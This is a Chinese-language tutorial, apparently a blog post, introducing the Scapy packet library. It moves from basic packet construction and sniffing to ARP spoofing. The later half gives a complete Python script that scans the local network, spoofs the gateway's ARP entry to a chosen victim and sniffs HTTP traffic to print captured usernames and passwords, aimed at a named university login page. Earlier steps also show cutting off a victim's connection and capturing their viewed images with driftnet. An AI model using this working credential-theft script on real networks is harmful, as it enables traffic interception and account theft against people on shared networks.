首先介绍一个python第三方库--Scapy,这个库不是标准库,默认是没有的,需要安装,不过在kali-linux里边是默认安装的,
这里我用kali做攻击者,xp做受害者
关于Scapy
Scapy是一个功能强大的交互式数据包操作程序。它能够伪造或解码大量协议的数据包,通过线路发送它们,捕获它们,匹配请求和回复等等。它可以轻松处理大多数经典任务,如扫描,跟踪路由,探测,单元测试,攻击或网络发现(它可以取代hping,85%的nmap,arpspoof,arp-sk,arping,tcpdump,tethereal,p0f等)。它还能在许多其他工具无法处理的其他特定任务中表现良好,例如发送无效帧,注入自己的802.11帧,组合技术(VLAN跳跃+ ARP缓存中毒,WEP加密通道上的VOIP解码,...... )等。
首先我们学习下Scapy的几个函数用法,
getmacbyip----查找ip的Mac地址
get_if_hwaddr----查找网卡的Mac地址
看下图:受害者的ip地址为192.168.122.136,网关是192.168.122.2,攻击者ip:192.168.122.129
本来受害者是通过将请求发给网关,然后网关去访问外面,这里ARP欺骗是将攻击者Mac地址假装成网关的Mac地址,完成ARP欺骗
了解ARP
我们需要用到的是下边5个,
op--- 接收包数(默认为1)
hwsrc--- 仿作的Mac地址(也就是攻击者的Mac地址)
psrc--- 网关的ip地址
hwsrc--- 受害者的Mac地址
pdst --- 受害者的ip地址
因为是以太网,因此要了解下Ether()
三个参数,目的主机MAC地址,攻击者Mac地址,
部分代码:
这里包的地方有个/号
这是将两者连接的意思,例子如下:
接下来构造一直发送请求,来认识sendp
sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs)
x为包,inter为请求间隔,iface为网络接口
完整代码:
这时我们来测试一下
不开启ARP欺骗,ping是畅通的
开启后:
要想恢复通讯,改一下网关所指的Mac地址
将pack包里边的psrc改为网关Mac :gmac即可
这里仅仅只能让受将害者断网,要想进一步学习
来举个例子
接收受害者的图片
用到的 软件 driftnet
开启ip转发代码
sysctl net.ipv4.ip_forward=1
再输入driftnet,打开窗口
然候在受害者电脑上打开图片链接,即可在driftnet里边显示
快去试试吧!
scapy使用入门
启动
直接执行scapy启动交互式CLI界面。
在脚本中:from scapy.all import *
常用命令
ls()
常用的有ARP、Ether、ICMP、IP、UDP、TCP,也支持SNMP、DHCP、STP等。
ls(IP)
查看IP包结构
lsc()
查看支持的命令
构造报文
//类型+字段,缺省的不用设置
a=IP(dst="172.16.1.40")
查看报文内容
// 查看特定字段
>>> a.dst
'172.16.1.40'
//查看IP全部字段
>>> a.show()
###[ IP ]###
version=4
ihl= None
tos=0x0
len= None
id=1
flags=
frag=0
ttl=64
proto= ip
chksum= None
src=10.1.159.51
dst=172.16.1.40
\options\
// 多层报文
>>> a= Ether(dst='001122334455')/IP(dst='2.2.2.2')/TCP(dport=23)
>>> a.show()
###[ Ethernet ]###
dst=001122334455
src=00:1c:c4:aa:c9:36
type=0x800
###[ IP ]###
version=4
ihl= None
tos=0x0
len= None
id=1
flags=
frag=0
ttl=64
proto= tcp
chksum= None
src=10.1.159.51
dst=2.2.2.2
\options\
###[ TCP ]###
sport= ftp_data
dport= telnet
seq=0
ack=0
dataofs= None
reserved=0
flags= S
window=8192
chksum= None
urgptr=0
options= {}
发送报文
>>> send(a,iface="eth1")
.
Sent 1 packets.
接收报文
>>> a=sniff(filter="icmp and host 10.1.159.71", count=2)
>>> a.show()
0000 Ether / IP / ICMP 10.1.159.71 > 10.1.159.51 echo-request 0 / Raw
0001 Ether / IP / ICMP 10.1.159.51 > 10.1.159.71 echo-reply 0 / Raw
>>> a[1]
发送和接收报文
// 发送ICMP请求,接收应答
>>> a = sr(IP(dst="10.1.159.71")/ICMP())
Begin emission:
....Finished to send 1 packets.
*
Received 5 packets, got 1 answers, remaining 0 packets
>>> a[0]
>>> a[1]
>>> a[0].show()
0000 IP / ICMP 10.1.159.51 > 10.1.159.71 echo-request 0 ==> IP / ICMP 10.1.159.71 > 10.1.159.51 echo-reply 0 / Padding
读取cap内容
>>> d = rdpcap("./test.cap")
>>> d
>>> d.show()
0000 Ether / IP / TCP 10.1.159.51:ssh > 10.7.244.6:65464 PA / Raw
0001 Ether / IP / TCP 10.7.244.6:65464 > 10.1.159.51:ssh A / Padding
0002 802.3 00:25:83:b8:8f:83 > 01:00:0c:cc:cc:cd / LLC / SNAP / STP / Raw
Python实现ARP欺骗
实验目的:局域网段扫描,利用arp欺骗抓包获取用户名密码,我选择的是截获被攻击者登录http://oa.nwu.edu.cn/网站的登录信息;
:局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。
ARP攻击的两种类型:
主机型ARP欺骗:
2、网关型ARP欺骗:
实验步骤:
其中,主要用到的语法公式如下:
pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址)
1、局域网扫描:找到当前局域网内活跃的主机,代码如下:
def scan():
ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/16'),timeout=1)
print('一共扫描到%d个主机:'%len(ans))
print(ans)
SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list;
2、ARP攻击:此次攻击使用多进程,每隔0.2s发一次arp攻击,攻击者伪装成网关,截获被攻击主机的TCP请求报文,通过爬虫,输出用户名以及密码;
发送ARP攻击数据包代码如下:
#局域网段扫描,抓包获取密码 author=肖俊怡
import time
import re
import os
from scapy.all import *
from threading import Thread
#定义变量函数
wifi = 'Intel(R) Dual Band Wireless-AC 7265'
rtable = os.popen('route print').read()
#print(rtable)
#注意将列表转为字符串
getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0]
#print(getway)
#局域网扫描
def scan():
#SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list
#公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)
print('一共扫描到%d个主机:'%len(ans))
for i in ans:
print(i)
#找用户名和密码
def paw(p):
try:
if p.haslayer(Raw):
ss=p.load.decode()
result=re.findall(r'userName=(.+)&passWord=(.+)',ss)
if result:
print('user:',result[0][0])
print('pass:',result[0][1])
except:
pass
#抓包
def capture(tip,tcap):
#冒充自己为网关
pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)
#arp欺骗攻击
def arpspoof(tip,tcap):
t = Thread(target=capture,args=(tip,tcap))
t.start()
for i in range(tcap*5):
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))
time.sleep(0.2)
if __name__ == '__main__':
scan()
target = input('输入要攻击的ip地址:').strip()
tl = int(input('输入要准备攻击的时间:').strip())
arpspoof(target,tl)
print('攻击结束!')
---------------------